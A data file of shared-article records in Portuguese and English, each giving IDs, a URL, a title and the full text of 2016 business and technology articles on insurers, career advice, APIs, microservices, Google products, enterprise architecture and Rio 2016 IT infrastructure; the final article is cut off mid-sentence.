1470347942,CONTENT SHARED,-5065077552540450930,2542290381109225938,-1265449797350590617,,,,HTML,http://www.sonhoseguro.com.br/2016/08/ranking-das-maiores-seguradoras-da-europa-2015/,Ranking das maiores seguradoras da Europa - 2015 | Sonho Seguro,"A AXA se manteve na liderança do ranking de maiores seguradoras da Europa, segundo estudo divulgado pela Fundacion Mapfre nesta quinta-feira, com prêmios totais de 91,9 bilhões de euros em 2015, avanço de 6,6%. O ranking traz Allianz, Generali, Prudential, Zurich, Talanx, CNP, Credit Agricole, Aviva e Mapfre. As dez maiores segurdoras europeias registraram prêmios de 483,4 bilhões de euros em 2015, crescimento de 7,8% em relação ao ano anterior. O segmento Não Vida foi responsável por 217 bilhões de euros, liderado por Allianz, AXA e Zurich. No quesito margem de solvencia, a Mapfre é a líder do ranking, seguida por Prudential, AXA, Aviva e Talanx.",pt
1470358200,CONTENT SHARED,2764830801602925772,-1032019229384696495,5659669595375798199,,,,HTML,http://ideas.ted.com/7-lessons-about-finding-the-work-you-were-meant-to-do/,7 lessons about finding the work you were meant to do,"You don't ""find your calling,"" you fight for it - and other lessons from people who found their passion (sometimes late in life). Whether it was during a career aptitude test or in a heart-to-heart chat after getting laid off, chances are someone has talked to you about how to ""find your calling."" It's one of those phrases people toss about. But StoryCorps founder Dave Isay takes issue with it ... specifically, the verb. ""Finding your calling - it's not passive,"" he says. ""When people have found their calling, they've made tough decisions and sacrifices in order to do the work they were meant to do."" In other words, you don't just ""find"" your calling - you have to fight for it. And it's worth the fight. ""People who've found their calling have a fire about them,"" says Isay, the winner of the 2015 TED Prize . ""They're the people who are dying to get up in the morning and go do their work."" Over a decade of listening to StoryCorps interviews, Isay noticed that people often share the story of how they discovered their calling - and now, he's collected dozens of great stories on the subject into a new book, Callings: The Purpose and Passion of Work . Below, he shares 7 takeaways from the hard-won fight to find the work you love. 1. Your calling is at the intersection of a Venn diagram of three things: doing something you're good at, feeling appreciated, and believing your work is making people's lives better. ""When those three things line up, it's like lightning,"" Isay says. He doesn't suggest that a person has to be a surgeon saving lives to feel like they have a calling; think of the diner waitress who talks to customers and makes them feel loved. How do you find this overlap? ""You have to shut out all the chatter of what your friends are telling you to do, what your parents are telling you to do, what society is telling you to do,"" Isay says, ""and just go to that quiet place inside you that knows the truth."" 2. Your calling often comes out of difficult experiences . What lurks in that quiet place will be a defining experience - quite possibly a painful one. Isay points to an interview in Callings with 24-year-old teacher Ayodeji Ogunniyi. ""He was studying to be a doctor when his father was murdered. He realized that what he was really meant to do was be a teacher,"" says Isay. ""He says that every time he walks into a classroom, his father is walking in with him."" This theme of people turning their hardest experiences into a new path runs throughout the book. ""Having an experience that really shakes you and reminds you of your mortality can be a very clarifying event in people's lives. Oftentimes, it leads to changes,"" he says. ""We spend a lot of time working, so it can really change your priorities in terms of work life."" 3. Calling often takes courage and ruffles feathers . Elsewhere in Callings , we hear about Wendell Scott, who became the first African-American NASCAR driver in 1952, and kept on driving despite threats against his life. From scientist Dorothy Warburton who dealt with extreme sexism as she conducted research to break the stigma around miscarriage. From Burnell Cotlon, who opened the first grocery store in the Lower 9th Ward after Hurricane Katrina because he wasn't about to let his old neighborhood's spirit fade. Calling, says Isay, very often starts with taking a stand against a status quo that simply isn't acceptable, and then dedicating your work to changing it: ""It's work ignited by hope, love, or defiance - and stoked by purpose and persistence."" 4. Other people often nudge you toward calling . Sharon Long had worked odd jobs most of her life. As Isay tells it, ""Her daughter was going to college, and as the bursar was helping them with financial aid forms, she said quietly to herself, 'I wish I could've gone to college.' The bursar responded, 'It's not too late.'"" Sharon enrolled in an art program, and on her advisor's suggestion, took forensic anthropology as her science. ""The advisor suggested it for no other reason than he thought it was the easiest science course for the science requirement,"" says Isay. ""But the minute she sat in that class, it was boom - this is what she was meant to do."" Isay tells this story to illustrate how calling, while very personal, is also relational. ""People bump you this way and that way,"" he says, often without realizing it. ""When people find their callings, they want to honor those people who helped them get there."" 5. What comes after identifying your calling is what really matters . The old 'finding your calling' phraseology makes it sound like a calling is a pot of gold at the end of the rainbow - you find it, and the story's over. But Isay stresses that your calling is an ongoing process. ""Understanding what your calling is - that's very different than the blood, sweat and tears of actually doing it,"" he says. Pursuing a calling may require going back to school or apprenticing; it may require starting a business. Often, notes Isay, it leads a person into a line of work that's in service of others. ""This book is basically a love letter to nurses, teachers, social workers - the people who don't often get celebrated for the work they do,"" he says. 6. Age is irrelevant . Isay found his calling when he was 21 and interviewed a man who'd been part of the Stonewall riots. ""The minute I hit record, I knew that being a journalist and interviewing people was what I was going to do for the rest of my life,"" he says. ""I feel very lucky that lightning struck when I was very young."" But collecting stories for the book reminded him that a calling can be discovered at any age. The book includes an interview with someone who knew they wanted to be an NBA referee at age 15, and another who worked as an accountant for 30 years before discovering his passion for slicing lox. ""Doing the work you're meant to do is one of the most satisfying, remarkable experiences that a person can have,"" says Isay, ""so never give up."" 7. Calling often doesn't come with a big paycheck . Another trend Isay sees in stories of people who find their calling: they often involve leaving a high-paying job for one that's lower-paying but more satisfying. ""The message we send to young people is that you want to do as little work as you can to make as much money as you can - that's the dream,"" says Isay. ""But the wisdom in the StoryCorps archive is that there's another, much more rewarding dream of taking risks and working very hard to live with integrity."" In the end, that's the lesson he took away from writing this book. ""There are no millionaires, no billionaires, no celebrities, nobody with a big Twitter following,"" he says. ""Just stories can teach us a lot about lives fully lived.""",en
1470359424,CONTENT SHARED,-7584037043735285197,2542290381109225938,-7495907347753416324,,,,HTML,http://www.sonhoseguro.com.br/2016/08/seguradores-serao-mentores-de-start-ups-selecionadas-pela-aceleradora-da-accenture/,Seguradores serão mentores de start-ups selecionadas pela aceleradora da Accenture | Sonho Seguro,"Executivos da SulAmérica, Banco do Brasil e Santander, além de outras duas seguradoras que negociam a entrada no projeto, serão os mentores das start-ups com foco em seguros selecionadas pela Accenture, que lança no Brasil o Up Innovation Lab, programa de fomento a startups desenvolvido com a finalidade de aprimorar a competitividade da economia local por meio da inovação. Sem fins lucrativos, a iniciativa é direcionada às startups que já possuem produtos validados e que buscam a oportunidade de formatá-los e apresentá-los às maiores empresas do País. Raphael Araújo, líder de seguros da Accenture, explica ao blog Sonho Seguro que o projeto foi inspirado no Fintech Innovation Lab - referência em Nova York, Londres e Dublin desde 2010. O foco do mercado de seguros é a inovação. Em como fazer diferente. E as seguradoras buscam empresas que podem agregar com iniciativas que envolvam a telemetria e produtos complementares interligados a Internet das Coisas (IoT). ""A chamada para as empresas visa ter projetos para melhorar a prestação de serviço para o consumidor final, com projetos que ajudem a seguradora a entrar no dia a dia do consumidor e assim ofertar produtos mais focados na necessidade individual e também em processos para aprimorar a precificação, o que viabilizará a eficiência interna tanto na redução do custo final como também da sinistralidade dos produtos"", comentou. O Up Innovation Lab selecionará 10 startups com soluções aplicáveis aos mercados de bens de consumo, varejo, seguradoras e bancos. As inscrições podem ser feitas até o dia 12 de agosto pelo endereço www.upinnovationlab.com.br. Com duração de cinco meses, o programa permitirá às startups selecionadas interagir com os principais executivos das maiores empresas do País; realizar provas de conceito; obter conhecimento com mentores do ecossistema de inovação do Brasil e do exterior e executivos da Accenture; e, ainda, participar de painéis de discussão e workshops para o desenvolvimento e testes de soluções. ""Com o UP Innovation Lab queremos levar às grandes empresas o que existe de mais inovador no mundo das startups, com consistência e estrutura para escalar"", destaca Guilherme Horn, Diretor Executivo e Líder de Inovação da Accenture, em nota divulgada. ""Buscamos também com esta iniciativa promover o empreendedorismo, estabelecer parcerias, entregar soluções inovadoras ao mercado e fomentar a geração de novos empregos"", completa o executivo.",pt
1470367462,CONTENT SHARED,-9081753261356157170,3609194402293569455,-8654120023484478236,,,,HTML,http://startupi.com.br/2016/08/uso-de-apis-no-mercado-de-servicos-financeiros/,Uso de API's no mercado de serviços financeiros,"A ideia principal deste artigo é apresentar o tema API (Application Programming Interface ou ""Interface de Programação de Aplicativos"") de forma simples e sob a ótica de negócios para mostrar como as empresas podem aumentar seus negócios com sua adoção. Uma API é um software que permite a utilização das suas funcionalidades por outros aplicativos que não pretendem envolver-se em detalhes da sua implementação, mas apenas usar seus serviços. Uma boa maneira de entender as API's é no contexto de uma tomada elétrica comum. As tomadas elétricas são interfaces construídas para consumir o serviço de eletricidade. A energia elétrica é o serviço e cada dispositivo que usa a eletricidade é um consumidor desse serviço. Através da interface padrão, qualquer consumidor pode utilizar a energia necessária para suprir seus dispositivos que estejam compatíveis e conectados de acordo com a norma vigente. Para o consumidor, porém, não importa o que está acontecendo do outro lado da parede, seja a fiação, a forma como a energia é gerada ou ainda onde essas fontes de energia estejam localizadas. O provedor também não precisa explicar ou apresentar quaisquer detalhes de como os serviços são oferecidos. Em um mercado fortemente regulamentado como o de Serviços Financeiros, as informações pessoais confidenciais de correntistas serão mantidas ""atrás da parede"" garantindo a privacidade dos dados, o sigilo bancário e a segurança das transações. As normas e padrões da API são disponibilizados em páginas web ou portais direcionados aos desenvolvedores, contendo a documentação oficial funcional e técnica permitindo aos interessados utilizar os produtos e serviços oferecidos pela instituição financeira. Através da API, produtos e serviços como empréstimos, seguros, comércio eletrônico, pagamentos, informações de clientes, histórico de transações, autenticação e transferências bancárias, entre outros, poderão ser entregues a partir de uma ampla gama de dispositivos compatíveis. Neste novo modelo de negócios, um banco pode expandir seu raio de ação e aumentar sua receita. Por outro lado, a exposição de sua marca será menor ou inexistente, uma vez que o aplicativo pode ou não indicar quem está por trás do serviço oferecido. É parte da decisão estratégica de negócios da instituição decidir por sua utilização, dependendo da expectativa de resultados. Inovação, aumento de receita, expansão, custos e segurança são fatores críticos que devem ser considerados para a tomada de decisão pela utilização de API's. Atualmente, mais de 15 mil API's (nos mais variados segmentos de mercado como serviços financeiros, governo, telecom, mobile e outros) estão disponíveis no site Programmable Web . O Open Bank Project é uma API de código aberto e também loja de aplicativos para bancos que permite que as instituições financeiras desenvolvam suas ofertas digitais de forma rápida e segura usando um ecossistema de aplicações e serviços de terceiros. Um case muito bem sucedido de API's abertas no setor bancário é o BBVA API Market . Com presença em mais de 35 países e utilizando estratégias digitais abertas e inovadoras, em conjunto com o ""mobile first"" e Omni-channel, o BBVA já oferece um amplo conjunto de API's de produtos e serviços através de seu portal. As vantagens econômicas da utilização de APIs são vastas. Explorar este universo exige experiência e capacidade técnica para implementar e ajudar as empresas a aumentar seus negócios. * Adriano Balaguer é senior business consultant da GFT Brasil , companhia de Tecnologia da Informação especializada em Digital para o setor financeiro",pt
1470394814,CONTENT SHARED,-4414039190127558142,1895326251577378793,4845135633002089199,,,,HTML,http://www.businessinsider.com/amazon-one-cargo-freighter-2016-8,BEHOLD Amazon One - the first cargo airplane with that famous Amazon smile,"Behold Amazon One - the first-ever cargo plane to bear the online retailer's logo on the side, and the boldest representation yet of its ambitions around taking over package-delivery logistics . Amazon Amazon One is a converted Boeing 737, operated by Amazon partner Atlas Air. Amazon says in a press release that it's leasing 40 planes in total, with 11 of those totally dedicated to hauling around packages on the company's behalf. This is just the first to bear the company's name on the sides. It's all in good fun: Amazon One will make its debut at Seattle's annual Seafair Air Show parade. It also doubles as a very public show of confidence from Amazon in its ability to handle package delivery in-house, without relying as much on outside parties like UPS or FedEx . Also of note: ""Prime Air,"" as displayed proudly on the side of Amazon One, is also the name of Amazon's forthcoming drone delivery service . As a nice little easter egg, Amazon says that Amazon One's tail actually bears a prime number, N1997A - in tribute to the Amazon Prime premiere membership program. 1997 was also the year of Amazon's IPO, so take that as you will. Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions. SEE ALSO: Here's why Amazon won't be a threat to FedEx or UPS anytime soon NOW WATCH: A Canadian captured this spectacular view of an iceberg on his first drone flight",en
1470395785,CONTENT SHARED,-2740396993975951758,7645894863578715801,3144696150872601726,,,,HTML,http://sensedia.com/blog/soa/soa-e-apis-o-melhor-seria-soa-com-microservicos/,SOA com microserviços - Sensedia,"SOA (arquitetura orientada a serviços) é uma arquitetura que provê uma cadeia de valores através de serviços corporativos. Estes serviços são compostos pela camada de processos e agregam as camadas de informação (dados /semântica) e aplicação. Já a abordagem de microserviços tem a ver com granularidade e evolução arquitetural tecnológica da camada de serviços. Renove suas aplicações monolíticas usando SOA com microserviços Analisando o cenário da maioria das empresas e voltando no tempo, antes de serviços serem criadas, aplicações monolíticas proviam todos os processos corporativos, como uma ERP. Esse cenário era e ainda é desenvolvido por muitas empresas. Essas aplicações contém uma massa grande das 3 camadas citadas anteriormente ( processos, informação e aplicação ). A realidade é que nenhuma ou poucas empresas tem apenas um monolítico no seu conjunto de aplicações. Existem aplicações legadas, pacotes de terceiros e uma porção de aplicações que são criadas no meio do caminho. Muitas vezes essas aplicações proveem de maneira diferente essas 2 camadas iniciais, gerando uma sobreposição, replicação e redundância nas mesmas. Para resolver este problema, em um primeiro momento, a arquitetura SOA entra como uma camada de serviços superior às 2 camadas (Informação/aplicação), definindo regras e padrões para a conectividade dessas aplicações monolíticas e uma padronização de informação ou modelo canônico para que os processos de negócios possam compor esses serviços de maneira singular, sem replicação ou regras divergentes. Ou seja, para acabar com a redundância e prover de maneira organizada toda essa cadeia de valores embutida em aplicações monolíticas , serviços corporativos são criados em uma camada superior chamada Camada de Serviços. Com a evolução tecnológica e arquitetural, ALM e provisionamento automatizado (relacionado a Devops), muito se pensou sobre como evitar essa redundância e como evitar o retrabalho. Os microserviços surgiram com um pensamento simples: se a empresa já vê valor nos serviços corporativos , e se eles já são os owners da informação, por que eu precisaria da camada de aplicação em baixo da camada de serviços? Ou seja, por que continuar a criar replicação de dados e redundância em processos , ou até mesmo visões diferentes dos mesmos processos em aplicações distintas? Na prática, esse problema arquitetural dificulta a criação da camada superior, já que para prover processos e informações consolidadas em uma visão única, são precisos esforços enormes frente às diferentes abordagens utilizadas no Portfólio de aplicações. O resultado Com uma simples modelagem, a camada de aplicação foi retirada desse modelo, e a camada de serviço virou realmente o owner da informação , e não um simples consumidor das informações contidas nas aplicações. Nesse cenário as aplicações são agora canais que consomem os microserviços expostos via APIs da camada de serviços, e ela agora é uma camada agregadora de informação e composta por processos de negócio. Se um dos processos de negócio ou semântica da informação é alterada, basta ir ao serviço e alterar essa regra. Não é mais necessário alterar aplicações, integrações, camada de serviços e processos. Também não há sobreposição de processos de negócio ou implementações diferentes das mesmas informações, pois, cada pedaço, cada contexto de informação é realizado por um microserviço distinto, e apenas ele é o owner dessa informação. Lógico que ainda vão existir aplicações legadas, modelos de convivência e modelo canônico , porém, uma arquitetura event-driven pode ser uma abordagem para sanar estes gaps! Mas este é assunto para outro post �� Artigo publicado no meu Linkedin A imagem de capa é parte da capa do livro SOA with REST, do Thomas Erl. Leitura recomendada ��",pt
1470403303,CONTENT SHARED,-8512461968928613053,5127372011815639401,-1389210559182708109,,,,HTML,https://developers.google.com/web/updates/2016/07/payment-request,Bringing easy and fast checkout with Payment Request API | Web Updates - Google Developers,"It's no surprise that the majority of online shopping is happening on mobile devices these days. But did you know that 66% of mobile purchases are made through websites rather than apps? Unfortunately though, conversion rate on mobile websites is only 33% of that on desktop. We need to fix this. Chrome 53 for Android (desktop to be supported in the future) introduces a new API called Payment Request - a new approach for developers to eliminate checkout forms and improve user's payment experience from the ground up. Introducing Payment Request API Payment Request is a new API for the open web that makes checkout flows easier, faster and consistent on shopping sites. Provides a native user interface for users to select or add a payment method, a shipping address and a shipping option in an easy, fast and consistent way. Provides standardized imperative APIs for developers to obtain user's payment preferences in a consistent format. How Payment Request API works Let's peek at how Payment Request API works in some code. Here's a minimal example that collects a user's credit card information and submits it to a server. 1. Create a PaymentRequest instance When a user taps on ""Checkout"", start a payment procedure by instantiating PaymentRequest . 2. Show the native UI with .show() Show the native payment UI with show() . Within this UI, a user can determine a payment method already stored in the browser or add a new one. 3. Process the payment Upon user tapping on ""PAY"" button, a promise will be resolved and payment information will be passed to the resolving function. You can send the information either to your own server, or send it through a third party like Stripe for processing. 4. Display payment result If the payment verification was successful, call .complete('success') to complete the purchase, otherwise .complete('fail') . Success / failure status will be displayed using a native UI. Upon resolving the .complete() , you can proceed to the next step. Payment Request API can do more Shipping items If you are selling physical goods, you'll probably need to collect the user's shipping address and a shipping preference such as ""Free shipping"" or ""Express shipping"". Payment Request API certainly supports those use cases. See the integration guide to learn more. Adding more payment solutions Credit card is not the only supported payment solution for Payment Request. There are a number of other payment services and solutions in the wild and the Payment Request API is designed to support as many of those as possible. Google is working to bring Android Pay to Chrome. Other third party solutions will be supported in the near future as well. Stay tuned for updates. Resources To learn more about Payment Request API, a few documents and resources are available: FAQ Any restrictions to use the API? Use Chrome for Android with version 53 or later. Requires secure origin - HTTPS, localhost or Is it possible to query the available payment methods? Currently not supported, but we're investigating ways of exposing this API in a privacy-sensitive way. Payment Request API is designed to support the broadest possible array of payment methods. Each payment method is identified by a payment method identifier . Payment Method Identifiers will support distributed extensibility, meaning that there does not need to be a central machine-readable registry to discover or register payment methods . Do you plan on offering a coupon code? We are investigating how to best do this. For now, you can manually ask for coupon code before or after calling the API. Does this work with iframes? Currently not allowed. But planned to be allowed in the future. Authors Except as otherwise noted, the content of this page is licensed under the Creative Commons Attribution 3.0 License , and code samples are licensed under the Apache 2.0 License . For details, see our Terms of Service .",en
1470409905,CONTENT SHARED,-6005035774300213929,-1443636648652872475,5056870311880053871,,,,HTML,https://cloudplatform.googleblog.com/2016/08/Cloud-Shell-now-GA-and-still-free.html,"Cloud Shell now GA, and still free","Google Cloud Shell is a command line interface that allows you to manage your Google Cloud Platform infrastructure from any computer with an internet connection. Last year we extended the free beta period through the end of 2016 so you could try it out longer. Now, we're excited to announce that Cloud Shell is generally available and free to use. For those of you who haven't tried it yet, Cloud Shell offers quick access to a temporary VM that's hosted and managed by Google and includes all the popular tools that you need to manage your GCP environment. For example, you can use the Cloud SDK to manage Cloud Storage data or run and deploy an App Engine application . You can keep files between sessions using a personal 5GB of storage space. To open Cloud Shell from the Cloud Console, simply click on the Cloud Shell icon in the top-right corner. The Cloud Shell documentation has a variety of tutorials to help you get started. In addition, here are a few pro-tips: To switch to a light theme, look under the gear icon Cloud Shell supports the terminal multiplexer tmux . Toggle it on or off from Cloud Shell to use different options in various Cloud Console tabs. To pop out the entire console window, click the pop out icon As always, send us feedback using the ""Send Feedback"" link in the top right of the Cloud Console or within Cloud Shell under the gear icon. We're excited to see how you use Cloud Shell and how we can make it even more useful.",en
1470410155,CONTENT SHARED,-2554512494756911972,1895326251577378793,4845135633002089199,,,,HTML,http://www.mckinsey.com/business-functions/business-technology/our-insights/how-enterprise-architects-can-help-ensure-success-with-digital-transformations,How enterprise architects can help ensure success with digital transformations,"Those who design and steer the development of the technology landscape can mitigate risk by setting operating standards and promoting cross-functional collaboration. Most CEOs understand the potential upside of a digital transformation. If they can get it right, their companies can be more efficient, more agile, and better able to deliver innovative products and services to customers and partners through multiple channels. About 70 percent of executives say that over the next three years, they expect digital trends and initiatives to create greater top-line revenues for their businesses, as well as increased profitability. There are tangible risks associated with these efforts, however. Traditional companies want to behave like start-ups, but they usually don't have the technology infrastructures or operating models to keep up with companies that have been digital from the start. Their shortcomings can have consequences. Traditional companies undergoing digital transformations may continue to build ever-more-complicated IT systems, deploying new features or patches and fixes on the fly to meet immediate needs without any clear road map or consideration of future IT needs. The Enterprise Architecture Survey Indeed, an in-depth survey we conducted with Henley Business School on enterprise-architecture management revealed such patterns among companies pursuing digital transformations (see sidebar, ""The Enterprise Architecture Survey""). When companies go all in on digitization, the number of point-to-point connections among systems rises almost 50 percent, the quality of business-process documentation deteriorates, and services get reused less often (Exhibit 1). These firms experience greater complexity in systems and processes-and not just in the near term, as digital projects are rolled out, but also in the long term, as companies seek to extend pilot programs and applications to all functions and business units. In the latter scenario, IT organizations may need to do a lot of systems and applications rework and reengineering to enable even the most basic digital activities. Companies may be slower to market with new products and services, and less able to react quickly to changing customer demand. The enterprise-architecture (EA) department can play a central role in reducing the complexity associated with digital transformations. Most companies have a dedicated EA group embedded within the larger IT organization. This group typically oversees the entire systems architecture, including business processes and IT infrastructure. It helps to establish rules for and processes around technology usage to ensure consistency across business units and functions. As such, this group can help the CEO and others on the senior leadership team redesign their companies' business and IT architectures so that they can avoid some of the pitfalls cited earlier and compete more effectively in a digital era. An operating model for company-wide agile development Read the article The findings from our research suggest that when the EA group is directly involved in digital-transformation projects, the documentation and communication between business and IT stakeholders improves significantly. What's more, organizations are likelier to focus on capturing tangible benefits from the transformation-an important factor in mitigating the risk of black swans -and to devote more time and attention to planning. They may also be able to launch products and services more frequently, given the reduced complexity. Most companies are not prepared for this to happen, however. More than 40 percent of respondents in our survey say that the business leaders in their companies are not aware of what the EA group does. We believe that to improve the odds that a digital transformation will succeed, CEOs and CIOs need to raise the profile of enterprise-architecture departments within their companies and to develop the business and interpersonal capabilities of their enterprise architects. Empowering the EA group The enterprise-architecture professionals we surveyed said that the top goals in their IT organizations are executing digital programs-such as cloud computing and online business models-and simplifying and modernizing their IT systems. Reducing complexity is especially critical, they told us, for ensuring that companies can capitalize on digital technologies, support agile and DevOps product-development methodologies, and respond to customers' needs more quickly. To successfully deploy agile development methodologies, for instance, companies need their business units and their IT organization to have a common understanding of both products and processes. These groups must have a joint view, for instance, of which applications are ""mission critical"" versus just nice to have, which processes are uniquely required, and which are being duplicated across multiple business units. The enterprise-architecture group is in a prime position to support these decisions and help create a unified perspective on what needs to change. Good things can happen with EA involvement, but our research indicates a general lack of awareness of enterprise-architecture groups within most organizations-who they are and what they do. Some enterprise architects told us that, during the course of their work assignments, they are actually more likely to interact with suppliers than with internal business executives and C-level leaders. When this happens, the EA group can enter into an unproductive cycle: its capability and process models won't accurately reflect business needs and therefore won't be used by the business to make critical technology decisions. CIOs and CEOs can heighten the awareness of enterprise-architecture groups and empower them by setting the right tone operationally and by facilitating talent development. Operating-model factors Sometime in the early 2000s, as Amazon was starting to establish a service-oriented architecture, CEO Jeff Bezos distributed a memo. In it, he mandated that all teams use open application programming interfaces and web services to share data and functionality. He made it clear that those not following the rules would be fired. Having this level of CEO attention on a very technical topic prompted change within this digital organization. Similarly, company leaders in traditional organizations, especially at the top but also at the line-management level and in the boardroom, need to engage more deeply with enterprise-architecture topics. They don't necessarily need an Amazon-like shift of the entire operating model, but it is important for them to include the enterprise-architecture team in formal discussions about processes, policies, and strategy. CEOs and CIOs can also put more of the spotlight on EA groups by doing the following: Give them more responsibility. Even among those in the know about enterprise architecture, the perception in many companies is that this back-office group can have only limited impact on overarching corporate initiatives-particularly compared with other technology-oriented groups (application development, for instance) that tend to have bigger budgets and direct responsibility for core operational areas. CIOs and CEOs can reverse this perception by giving EA departments more responsibility for certain big-picture decisions; for instance, they can give authority in the approval process for changes to the technology landscape. Otherwise, the policies and guidelines the EA department develops may never gain traction across the company. Measure their performance. It can be difficult for CIOs and enterprise architects to determine the EA group's direct contribution to corporate performance because so much of the day-to-day work depends on input from individual business units, ever-changing strategy and budget decisions, and other interdependencies. There is no simple formula for demonstrating absolute impact, but one feasible approach is for the enterprise-architecture team to routinely provide the business units with the ""technology costs"" of any important decisions they make-for instance, trade-offs in cost, time, and quality when a new technology is deployed and used in place of an alternative. The business would get the information it needs to make critical decisions, and enterprise architects would gain a direct line of communication to the business. Talent factors Pushing enterprise architecture toward the top of the agenda, giving greater responsibility to the EA group, and coming up with clear performance metrics may also help companies attract the operations and leadership talent they need to design and support IT systems effectively. Indeed, our survey revealed that for most EA staffers, being seen as a valuable contributor to the bottom line may be more of an incentive than monetary rewards (Exhibit 2). In our experience, the individuals who take on EA-management responsibilities need a combination of deep smarts in business strategy and expertise on IT trends and technologies, integration patterns, business-process steps, and running a closed IT environment. These people do not need to be experts in coding or supply-chain planning or store operations, but they do need basic knowledge of all those things-and more. They must also have good communication and marketing skills. They must become ""ambassadors"" for enterprise architecture, helping business leaders and board directors alike understand the purpose and value generated by all the systems that underlie day-to-day operations. And they must be able to foster close collaboration between IT and business stakeholders. Because of the variety of skills required, CIOs may need to look outside the usual talent pools when recruiting, considering people with academic and business credentials as well as traditional technologists. Digital transformations are, by their very nature, complex. There are multiple moving parts, integrated processes and technologies, and the need for expertise that cannot already be found in the company. In most firms, however, there is a small cadre of technology professionals who can impose relative order on the proceedings. CEOs and CIOs should consider the benefits of pulling enterprise architects closer to the center: bringing them to the table with business leaders, devising metrics that reveal the value of their work, and creating the type of incentives that will challenge them and prompt them to stay for the long term. Such an approach is critical not just for limiting risk and protecting against the potential challenges and downsides of digital transformations but also for ensuring a clear upside-a close and lasting partnership between the business and IT. About the author(s) Oliver Bossert is a senior expert in McKinsey's Frankfurt office, and Jürgen Laartz is a senior partner in the Berlin office. The authors wish to thank Sharm Manwani, executive professor of IT leadership and director of the Strategy & Enterprise Architecture Programme at Henley Business School, for his contributions to this article.",en
1470413693,CONTENT SHARED,6615662748793536194,1895326251577378793,4845135633002089199,,,,HTML,http://computerworld.com.br/especial-o-papel-dos-grandes-provedores-de-ti-na-rio-2016,Especial: O papel dos grandes provedores de TI na Rio 2016,"Durante o mês de agosto, o mundo todo estará com os olhos voltados para o Brasil. Os jogos Rio 2016 receberão mais de 10,5 mil atletas de 206 países, que disputarão medalhas em 28 esportes, que acontecerão em 37 locais distintos. Estima-se, também, que 4,8 bilhões de espectadores no mundo todo assistirão as competições. Embora seja invisível para a maioria das pessoas, a tecnologia desempenha um papel essencial para que os Jogos sejam um sucesso. Grandes fornecedores de TI estão envolvidos para ajudar entregar ao mundo um evento memorável. A seguir, apresentamos algumas das principais ações da indústria durante os jogos. Atos A Atos é responsável por todo projeto de TI da Rio 2016 , integrando soluções de diversos vendors (dentre os quais Omega, Panasonic, Samsung, Embratel/Claro, EMC, Cisco e Symantec ). A empresa é parceira do Comitê Organizador Internacional e ficou encarregada de montar a estrutura e fazer todo o suporte dos recursos computacionais do evento.. A Atos fornece, por exemplo, os sistemas que transmitem os resultados ao mundo inteiro em menos de um segundo, para uso na televisão, na Internet e em múltiplos aparelhos, o portal que possibilita o recrutamento e treinamento de 70 mil voluntários e a solução que processa 400 mil credenciais para que os envolvidos nos Jogos possam ter acesso às áreas necessárias durante os Jogos. América Movil Há quatro anos, os Jogos Olímpicos de Londres atingiram a impressionante marca de geração de 60GB de informações por segundo. Além disso, o equivalente a 2 mil horas de cobertura ao vivo foi transmitida digitalmente para mais de 14,4 mil emissoras de TV em todo o mundo. Este ano, durante a Rio 2016, as empresas do Grupo América Móvil (Embratel, Claro e Net) estimam que o tráfego de dados e de internet pode chegar a superar em 4 vezes todo o tráfego dos Jogos Olímpicos de Londres. As empresas são responsáveis por toda a infraestrutura de rede que servirá aos locais de prova, à Vila Olímpica e ao centro de transmissão (IBC), de onde sairão imagens para aproximadamente 5 bilhões de telespectadores de 200 países. A base de telecomunicações do Rio 2016 será o Backbone Olímpico Embratel, uma rede com mais de 370 quilômetros de fibras ópticas, triplamente redundante, para garantir a alta disponibilidade na transmissão de dados dos jogos. A rede olímpica terá velocidade de 40 Gigabits por segundo, conectando mais de 60 mil pontos de acesso à rede, distribuídos em mais de 100 locais relacionados ao evento, de competição ou apoio. Parte de toda essa rede só será retirada daqueles locais construídos temporariamente para os jogos. Em boa parte das instalações olímpicas, permanecerá. A Embratel fornecerá, ainda, a rede de fibra óptica que captará os sinais de vídeo de todas as competições esportivas do Rio 2016, nos distintos locais onde se realizam, entregando-os ao centro de transmissão IBC - International Broadcast Centre - de onde sairão imagens para aproximadamente 5 bilhões de telespectadores de 200 países. Serão mais de 7 mil horas de transmissão geradas pela Olympic Broadcasting Services, para atender todas as emissoras detentoras de direitos ao redor do mundo. Cisco A companhia é a parceira oficial e fornecerá infraestrutura de rede e servidores para as Olimpíadas. A empresa descarregou mais de 60 toneladas de equipamentos para montar um ambiente nos 37 locais de provas e 183 pontos onde não haverá competição (centro de mídia, Vila Olímpica, etc). Ao todo, serão mais de 100 mil portas de redes, 5 mil pontos de acessos e 150 firewalls nos mais de 400 Cisco UCS Servers. EMC A companhia assinou um contrato com Comitê Organizador dos Jogos Olímpicos Rio 2016 para suportar duas principais torres de tecnologia de informação do evento (Rede Administrativa-ADMIN e Rede Jogos-GAMES), que centralizam os dados obtidos nas 35 instalações de competições, nas quais, mais de 10,5 mil atletas estarão competindo. Segundo a fabricante, esta capacidade promoverá os ambientes de armazenamento e proteção dos dados que forem gerados, permeando todas as fases das competições, desde o planejamento até o período de operações. Dados cruciais como os resultados das competições, fotos e vídeos dos eventos, informações dos atletas e de suas nações, registros das instalações, entre outros, serão armazenados e protegidos por meio das tecnologias EMC: Avamar, VNX e RecoverPoint. O espaço poupado pelo uso das soluções EMC para armazenamento dos dados é o suficiente para dois milhões de fotografias adicionais, por exemplo. Para o evento, será destinado espaço de armazenamento para mais de 55 terabytes de dados, o equivalente a 720 mil fotos ou 4 mil minutos de filmagem. Microsoft O conceito de cloud chegou às Olimpíadas. O portal do evento rodará na plataforma em nuvem Azure integrada à tecnologia desenvolvida e gerenciada pela Atos, parceira mundial de TI dos Jogos Olímpicos, atualiza o site com informações em tempo real. O website exibe a partir de hoje os resultados de mais de 300 provas das 42 disciplinas esportivas disputadas nos 17 dias do evento, além de calendário, regras estabelecidas pelas Federações, dados sobre os mais de 10 mil atletas e equipes, ranking de medalhas, desempenho por país e muito mais. Visa A empresa aproveita as Olimpíadas para impulsionar meios inovadores de pagamento. A companhia apresentou uma solução wearable pré-pago para realizar transações em meios de transporte público, por exemplo. Google A gigante de buscas liberou ferramentas para que as pessoas confiram o cronograma de competições, ver o quadro de medalhas, descobrir o resultado de cada disputa e ver as tendências de busca sobre os atletas, países e modalidades. Ao pesquisar por ""Jogos Olímpicos"" ou sobre algum dos esportes e atletas favoritos, o sistema mostrará um painel detalhado de informações na parte superior da página de resultados. No painel haverá informações sobre os resultados, calendário de cada modalidade e informações sobre as delegações. Se a busca for feita no aplicativo para Android ou iOS, há opção de receber atualizações automáticas dos eventos que 